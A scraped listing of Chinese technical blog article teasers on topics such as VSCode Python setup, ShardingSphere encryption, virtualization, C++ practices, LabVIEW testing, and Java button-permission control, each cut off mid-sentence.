文章目录框架不同python解释器vscode运行python需要的插件vscode可以改变执行python脚本的默认终端虚拟环境解释创建虚拟环境的方法python的settings.json的一些好用配置框架 python解释器->虚拟环境->vscode 不同python解释器 在一台电脑中我们可以安装多个版本的pyt…

基于 ShardingSphere 的 Spring Boot 数据加密与模糊查询实现

基于 ShardingSphere 的 Spring Boot 数据加密与模糊查询实现 在数据安全与查询便捷性并重的今天,敏感数据加密存储后如何支持灵活查询成为关键挑战。本文将聚焦ShardingSphere 在实现数据加密的同时支持模糊查询的核心能力,详细介绍基于 Spring Boot 和 ShardingSphere 的完…

计算虚拟化技术

&#x1f9e0; 一、什么是计算虚拟化&#xff1f;&#xff08;基础认识&#xff09; ✅ 基本概念&#xff1a; 计算虚拟化&#xff08;Compute Virtualization&#xff09; 是指&#xff1a;在一台物理服务器上模拟多个“虚拟计算资源”&#xff0c;每个虚拟机看起来像是一台独…

Python编程基础与实践:Python基础数据结构:列表、字典和集合

Python数据结构&#xff1a;掌握列表、字典和集合 学习目标 通过本课程的学习&#xff0c;学员将掌握Python中基本的数据结构&#xff1a;列表、字典和集合。学员将了解它们的特性、使用场景以及如何高效地使用它们来解决实际问题。 相关知识点 列表、字典和集合使用 学习…

三维偏序 -- cdq 套 cdq

似乎题解区并没有 cdq 套 cdq 的作法&#xff0c;刚好今天讲了&#xff0c;就来写一发。 题意与记号 题目讲的很清楚了。此方法并没有树状数组好想也没有其高效&#xff0c;但能很方便扩展。下文记原序列为 ddd&#xff0c;将每个点拆分成点与询问&#xff0c;内部增加一个名为…

Effective C++ 条款27: 尽量用const、enum、inline替换 #define

Effective C 条款27&#xff1a;尽量用const、enum、inline替换#define核心思想&#xff1a;使用编译器&#xff08;const, enum, inline&#xff09;替代预处理器&#xff08;#define&#xff09;&#xff0c;让编译器进行语义检查&#xff0c;避免宏替换引发的错误和调试困难…

芯谷科技--高效噪声降低解决方案压缩扩展器D5015

在无绳电话系统中&#xff0c;噪声降低是提升通话质量的关键。 D5015 压缩扩展器&#xff0c;通过集成压缩器和扩展器&#xff0c;有效降低了传输噪声&#xff0c;同时保持了信号的完整性。D5015 采用 SOP20 和 DIP20 封装形式&#xff0c;具有低电压工作、低功耗、高集成度等特…

LabVIEW车床静刚度自动测

​基于LabVIEW 平台开发车床静刚度自动测试系统&#xff0c;针对传统生产法测量中人工误差大、计算复杂、效率低等问题&#xff0c;结合误差复映规律与刚度方程&#xff0c;通过高精度硬件与软件协同&#xff0c;实现试件加工前后尺寸的在线采集、自动计算与报告生成&#xff0…

汽车流通行业4S门店生存性指标:零服吸收率

我们在做汽车4S集团的商业智能BI数据分析项目中&#xff0c;对于4S店的管理&#xff0c;大家经常会提到一个分析指标&#xff0c;叫“零服吸收率”&#xff0c;这个大概是什么意思呢&#xff1f;简单来说就是4S门店一台车都没有卖出的情况下&#xff0c;光靠售后服务部分的收益…

第一性原理科学计算服务器如何选择配置-CPU选择篇

一、 大多数人知道的 (显性因素)核心数与线程数 (Core Count & Thread Count): 重要性&#xff1a; 核心是王道。 科学计算任务&#xff08;如仿真、建模、数据分析、机器学习训练&#xff09;绝大多数都高度并行化&#xff0c;可以同时利用多个核心进行计算。选择建议&…

Java 后端 + JavaScript 前端 实现按钮级别权限控制的解决方案

Java JavaScript 前后端协同实现按钮权限控制 在后台管理系统中&#xff0c;不同用户根据角色和数据状态应展示不同的操作按钮&#xff0c;比如编辑、删除、审批、提交等操作。本文将介绍一种通过 Java 后端生成按钮权限 JSON&#xff0c;前端通过 jQuery 解析控制按钮显示的…